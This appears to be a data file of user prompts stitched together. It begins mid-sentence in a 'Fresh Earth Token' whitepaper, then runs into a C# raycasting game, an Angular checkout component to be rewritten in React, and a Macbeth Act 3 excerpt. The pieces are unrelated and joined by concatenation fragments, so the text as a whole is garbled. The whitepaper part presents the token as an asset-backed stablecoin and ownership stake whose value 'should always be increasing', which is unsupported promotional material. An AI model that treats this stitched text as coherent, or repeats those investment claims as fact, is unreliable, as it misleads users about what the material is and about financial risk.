regenerative projects. The value of the ecosystem is determined by the stakeholders, while the impact of regenerative projects is measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. These KPIs provide verified measurements of impact that can be leveraged to secure external funding from government schemes and investorsI. Introduction\n\nToken Classification\n\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas.\n\nA. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and rewards system. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a validation system that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators (KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a digital collaborative community, and a rewards system, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's rewards system aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the rewards system and the validation system. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the digital collaborative community. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token." +'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n World.Draw();\n player1.Draw();\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 50);\n float endY = (float)(startY + Math.Sin(angle) \\* 50);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Ray.distance = Cast(x, y, angle, fov);\n \n \n }\n }\n}' +'The angular component is a checkout page for our e-commerce store where users can choose between 7 payment processors: zen, g2a, credit, coinbase, giftcards, payop, paytriot.\nConvert the Angular component into React completely. If you are missing any logic, use something smiliar or best practises. \n\nimport { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnDestroy, OnInit } from ‘@angular/core’;\nimport { MatDialog } from ‘@angular/material/dialog’;\n\nimport { Observable, of, Subject } from ‘rxjs’;\nimport { debounceTime, map, skip, switchMap, takeUntil } from ‘rxjs/operators’;\nimport { DepositService } from ‘../../services/deposit.service’;\n\nimport { Title } from ‘@angular/platform-browser’;\nimport { CasesService } from ‘src/app/cases/services/cases.service’;\nimport { ActivatedRoute, Router } from ‘@angular/router’;\nimport { MatCheckboxChange } from ‘@angular/material/checkbox’;\nimport { AppConfigService } from ‘src/app/core/services/app-config.service’;\nimport { patch, RxState } from ‘@rx-angular/state’;\nimport { GlobalLootieState } from ‘../../../rxstate/global-lootie.state’;\nimport { LanguageRouter } from ‘../../../core/services/language-router’;\nimport { SegmentProxy } from ‘../../../lazy-bootstrap/proxies/segment.proxy’;\nimport { LocalizedToastrService } from ‘../../../core/services/localized-toastr.service’;\nimport { defined } from ‘../../../core/utils/defined’;\n\nexport enum PaymentMethods {\nzen = ‘zen’,\ng2a = ‘g2a’,\ncredit = ‘credit’,\ncoinbase = ‘coinbase’,\ngiftcards = ‘giftcards’,\npayop = ‘payop’,\npaytriot = ‘paytriot’,\n}\n\nconst DEFAULT\\_DEPOSIT\\_AMOUNT = 100;\n\ninterface DepositState {\nloading: boolean;\ncheckoutUrl: string;\ncheckoutOptions: any;\nsuccess: boolean;\nfailed: string;\n}\n\n@Component({\nselector: ‘app-deposit’,\ntemplateUrl: ‘./deposit.component.html’,\nstyleUrls: [‘./deposit.component.scss’],\nchangeDetection: ChangeDetectionStrategy.OnPush,\n})\n\nexport class DepositComponent extends RxState();\n//// HANDLERS\nproceedDepositHandler$ = this.proceedDeposit$.pipe(\nswitchMap(({ type, data, coupon }) => {\nconst isCreditCharge = type === ‘credit’;\n// const paymentOption = isCreditCharge ? ‘card’ : undefined;\nconst box = localStorage.getItem(‘boxId’);\nconst d = localStorage.getItem(‘session’);\n\nreturn this.depositService[isCreditCharge ? ‘credit’ : type]({ data, coupon, box, d }).pipe(\nmap(res => {\nif (type === ‘steam’) {\nthis.localizedToastr.successMessage(‘We are processing your requests, please wait...’);\n} else if (res[‘data’] && res[‘data’].checkoutUrl) {\nthis.set({ checkoutUrl: res[‘data’].checkoutUrl });\n} else if (res[‘data’] && res[‘data’].checkoutOptions) {\nthis.set({ checkoutOptions: res[‘data’].checkoutOptions });\n}\n\nlocalStorage.removeItem(‘boxId’);\nlocalStorage.removeItem(‘boxName’);\n\nif (res[‘data’] && res[‘data’].balance && res[‘data’].deposited) {\nconst { balance, deposited } = res[‘data’];\n\nconst user = this.globalState.get(‘user’);\n\nthis.globalState.set({\nuser: patch(user, {\nbalance: defined(balance, user.balance),\ndepositedValue: defined(deposited, user.depositedValue),\n}),\n});\n\nif (res[‘message’]) {\nthis.localizedToastr.successMessage(res[‘message’]);\n}\n}\n}),\nthis.localizedToastr.toastHttpError()\n);\n})\n);\n\nisMobile$: Observable {\nif (params && params[‘mode’]) {\nconst mode = params[‘mode’];\nfor (const key in PaymentMethods) {\nif (mode === PaymentMethods[key]) {\nthis.selectedMethod = params[‘mode’];\nthis.startPayment(true);\n}\n}\n} else {\nthis.selectedMethod = PaymentMethods.credit;\nthis.paymentOption = ‘’;\nthis.depositTitle = ‘DEPOSIT.CHOOSE\\_PAYMENT\\_METHOD’;\n}\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.titleService.setTitle(‘Deposit | Lootie’);\n\nconst promocode = localStorage.getItem(‘promocode’);\nif (promocode) {\nthis.promocode = promocode;\nlocalStorage.removeItem(‘promocode’);\n}\n\nthis.\\_debounceCode.pipe(debounceTime(500)).subscribe(\\_ => {\nif (this.promocode === ‘’) {\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\ntry {\nRegExp(this.promocode);\n} catch (error) {\nthis.promocodeStatus = ‘invalid’;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\nthis.isLoading$ = of(true);\nthis.depositService.validatePromocode(this.promocode).subscribe(\nres => {\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘valid’;\nthis.promocodeValue = res[‘data’].value;\n}\nthis.changeDetectorRef.markForCheck();\n},\n(res: Error) => {\nconst error = res[‘error’];\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘invalid’;\n}\nthis.changeDetectorRef.markForCheck();\n}\n);\n});\n\nthis.isStatusSuccess$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(isSuccess => {\nif (isSuccess) {\nthis.paymentOption = ‘success’;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.isStatusFail$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(failOption => {\nif (failOption) {\nthis.paymentOption = failOption;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.checkoutUrl$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(url => {\n// if (!url) {\n// return DepositDialogComponent.hide(this.dialog);\n// }\n// if (\n// this.paymentOption === PaymentMethods.coinbase ||\n// this.paymentOption === PaymentMethods.payop\n// ) {\nwindow.open(url, ‘\\_self’);\n// } else {\n// DepositDialogComponent.show(this.dialog, url);\n// }\n});\n\nthis.checkoutOptions$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(options => {\nthis.proceedFormDeposit(options);\n});\n\nthis.isMobile$.pipe(takeUntil(this.unsubscribe$)).subscribe(data => {\nthis.isMobile = data;\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.paymentMethods = this.paymentMethods.map(item => {\nconst newItem = { ...item };\nconst bonusPercent = this.appConfigService.config?.depositBonus[item.value];\n\nif (bonusPercent && bonusPercent > 0) {\nnewItem[‘bonus’] = `${Math.floor(bonusPercent \\* 100)}% BONUS`;\n}\n\nreturn newItem;\n});\n}\n\nngOnInit() {\nif (this.isMobile) {\nsetTimeout(() => {\nconst el = document.getElementById(‘deposit-page-container’);\n\nwindow.scrollTo(0, el.offsetTop - 65);\n}, 100);\n}\n}\n\nonValidatePromocode() {\nthis.\\_debounceCode.next();\n}\n\nsendTicket(): void {\nwindow.Intercom(‘showNewMessage’);\n}\n\nonChangeAmount(isPositive: boolean): void {\nconst currentIndex = this.amountList.indexOf(this.amount);\nif (isPositive) {\nthis.amount = this.amountList[currentIndex + 1] || this.amount;\nreturn;\n}\n\nthis.amount = this.amountList[currentIndex - 1] || this.amount;\n}\n\nstartPayment(isRouteCheck?: boolean): void {\nif (this.selectedMethod === PaymentMethods.giftcards) {\nthis.amountList = [10, 25, 50, 100, 200];\nthis.depositTitle = ‘DEPOSIT.SELECT\\_GIFTCARD’;\n} else {\nthis.amountList = [...this.initialAmountList];\n}\n\nif (this.selectedMethod !== PaymentMethods.giftcards) {\nthis.depositTitle = ‘DEPOSIT.SELECT\\_YOUR\\_AMOUNT’;\n}\n\nthis.paymentOption = this.selectedMethod;\n\nif (!isRouteCheck) {\nthis.languageRouter.navigate([‘/topup’], {\nqueryParams: { mode: this.selectedMethod },\n});\n}\n\nthis.segment.track(‘Payment Method Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentMethod: this.paymentOption,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nclearPromocode(): void {\nthis.promocode = ‘’;\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\n}\n\nopenFAQ(value: boolean): void {\nthis.isPaymentFAQ = value;\n}\n\nonCurrencyInput(evt: Event) {\nconst value = (evt.target as HTMLInputElement).value;\nconst num = parseInt(value.replace(/[$,]/g, ‘’), 10);\n\n// [demidn] A bit workaround way for preventing users from typing letters.\n// We can not just always set this.amount = isNaN(num) ? 0 : num, because first time amount will be changed to 0\n// and change detection will work, howevever if user continue typing letters, we are changing amount from 0 to 0\n// same value and change detection will not run. So here we first set it to null and detect changes and then set to real\n// value and mark for check - in this case change detection will work always.\nthis.amount = null;\nthis.changeDetectorRef.detectChanges();\nthis.amount = isNaN(num) ? 0 : num;\nthis.changeDetectorRef.markForCheck();\n}\n\nproceedDeposit(): void {\nif (this.amount < 1 || this.promocodeStatus === ‘invalid’) {\nreturn;\n}\nif (this.isCreditCardPayment() && !this.isTOSAgreed) {\nreturn;\n}\n\n// this.store.dispatch(\n// new fromDeposit.ProceedDeposit({\n// type: this.paymentOption,\n// data: this.amount,\n// coupon: this.promocode,\n// })\n// );\nthis.proceedDeposit$.next({\ntype: this.paymentOption,\ndata: this.amount,\ncoupon: this.promocode,\n});\n\nthis.segment.track(‘Payment Amount Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentAmount: this.amount,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nonOpenGiftCard() {\nwindow.open(this.giftcardLinks[this.amount], ‘targetWindow’, ‘width=500, height=800’);\n// window.open(\n// https://shoppy.gg/@Lootie,\n// ‘targetWindow’,\n// ‘width=500, height=800’\n// );\n}\n\nonChangeAgreeToTOS(ob: MatCheckboxChange) {\nthis.isTOSAgreed = ob.checked ? true : false;\n}\n\nisCreditCardPayment() {\nreturn this.selectedMethod === PaymentMethods.credit || this.selectedMethod === PaymentMethods.zen;\n}\n\nfilterLogos(logos, hideFullCreditLogs) {\nif (hideFullCreditLogs) return logos.slice(0, 2);\nreturn logos;\n}\n\nngOnDestroy() {\nthis.unsubscribe$.next();\nthis.unsubscribe$.complete();\n}\n\nproceedFormDeposit(options) {\nconst { method, url, form: params } = options;\nconst form = document.createElement(‘form’);\nform.setAttribute(‘method’, method);\nform.setAttribute(‘action’, url);\n\nfor (const key in params) {\nif (params.hasOwnProperty(key)) {\nconst hiddenField = document.createElement(‘input’);\nhiddenField.setAttribute(‘type’, ‘hidden’);\nhiddenField.setAttribute(‘name’, key);\nhiddenField.setAttribute(‘value’, params[key]);\n\nform.appendChild(hiddenField);\n}\n}\n\ndocument.body.appendChild(form);\nform.submit();\nform.remove();\n}\n}' +"Here is part of act three of macbeth. Use this as context for the rest of the conversation: \n\n[Enter BANQUO]\n\nBanquo. Thou hast it now: king, Cawdor, Glamis, all,\nAs the weird women promised, and, I fear,\nThou play'dst most foully for't: yet it was said\nIt should not stand in thy posterity,1005\nBut that myself should be the root and father\nOf many kings. If there come truth from them—\nAs upon thee, Macbeth, their speeches shine—\nWhy, by the verities on thee made good,\nMay they not be my oracles as well,1010\nAnd set me up in hope? But hush! no more.\n[Sennet sounded. Enter MACBETH, as king, LADY]\nMACBETH, as queen, LENNOX, ROSS, Lords, Ladies, and Attendants]\nMacbeth. Here's our chief guest.\nLady Macbeth. If he had been forgotten,1015\nIt had been as a gap in our great feast,\nAnd all-thing unbecoming.\nMacbeth. To-night we hold a solemn supper sir,\nAnd I'll request your presence.\nBanquo. Let your highness1020\nCommand upon me; to the which my duties\nAre with a most indissoluble tie\nFor ever knit.\nMacbeth. Ride you this afternoon?\nBanquo. Ay, my good lord.1025\nMacbeth. We should have else desired your good advice,\nWhich still hath been both grave and prosperous,\nIn this day's council; but we'll take to-morrow.\nIs't far you ride?\nBanquo. As far, my lord, as will fill up the time1030\n'Twixt this and supper: go not my horse the better,\nI must become a borrower of the night\nFor a dark hour or twain.\nMacbeth. Fail not our feast.\nBanquo. My lord, I will not.1035\nMacbeth. We hear, our bloody cousins are bestow'd\nIn England and in Ireland, not confessing\nTheir cruel parricide, filling their hearers\nWith strange invention: but of that to-morrow,\nWhen therewithal we shall have cause of state1040\nCraving us jointly. Hie you to horse: adieu,\nTill you return at night. Goes Fleance with you?\nBanquo. Ay, my good lord: our time does call upon 's.\nMacbeth. I wish your horses swift and sure of foot;\nAnd so I do commend you to their backs. Farewell.1045\n[Exit BANQUO]\nLet every man be master of his time\nTill seven at night: to make society\nThe sweeter welcome, we will keep ourself\nTill supper-time alone: while then, God be with you!1050\n[Exeunt all but MACBETH, and an attendant]\nSirrah, a word with you: attend those men\nOur pleasure?\nAttendant. They are, my lord, without the palace gate.\nMacbeth. Bring them before us.1055\n[Exit Attendant]\nTo be thus is nothing;\nBut to be safely thus.—Our fears in Banquo\nStick deep; and in his royalty of nature\nReigns that which would be fear'd: 'tis much he dares;1060\nAnd, to that dauntless temper of his mind,\nHe hath a wisdom that doth guide his valour\nTo act in safety. There is none but he\nWhose being I do fear: and, under him,\nMy Genius is rebuked; as, it is said,1065\nMark Antony's was by Caesar. He chid the sisters\nWhen first they put the name of king upon me,\nAnd bade them speak to him: then prophet-like\nThey hail'd him father to a line of kings:\nUpon my head they placed a fruitless crown,1070\nAnd put a barren sceptre in my gripe,\nThence to be wrench'd with an unlineal hand,\nNo son of mine succeeding. If 't be so,\nFor Banquo's issue have I filed my mind;\nFor them the gracious Duncan have I murder'd;1075\nPut rancours in the vessel of my peace\nOnly for them; and mine eternal jewel\nGiven to the common enemy of man,\nTo make them kings, the seed of Banquo kings!\nRather than so, come fate into the list.1080\nAnd champion me to the utterance! Who's there!\n[Re-enter Attendant, with two Murderers]\nNow go to the door, and stay there till we call.\n[Exit Attendant]\nWas it not yesterday we spoke together?1085\nFirst Murderer. It was, so please your highness.\nMacbeth. Well then, now\nHave you consider'd of my speeches? Know\nThat it was he in the times past which held you\nSo under fortune, which you thought had been1090\nOur innocent self: this I made good to you\nIn our last conference, pass'd in probation with you,\nHow you were borne in hand, how cross'd,\nthe instruments,\nWho wrought with them, and all things else that might1095\nTo half a soul and to a notion crazed\nSay 'Thus did Banquo.'\nFirst Murderer. You made it known to us.\nMacbeth. I did so, and went further, which is now\nOur point of second meeting. Do you find1100\nYour patience so predominant in your nature\nThat you can let this go? Are you so gospell'd\nTo pray for this good man and for his issue,\nWhose heavy hand hath bow'd you to the grave\nAnd beggar'd yours for ever?1105\nFirst Murderer. We are men, my liege.\nMacbeth. Ay, in the catalogue ye go for men;\nAs hounds and greyhounds, mongrels, spaniels, curs,\nShoughs, water-rugs and demi-wolves, are clept\nAll by the name of dogs: the valued file1110\nDistinguishes the swift, the slow, the subtle,\nThe housekeeper, the hunter, every one\nAccording to the gift which bounteous nature\nHath in him closed; whereby he does receive\nParticular addition. 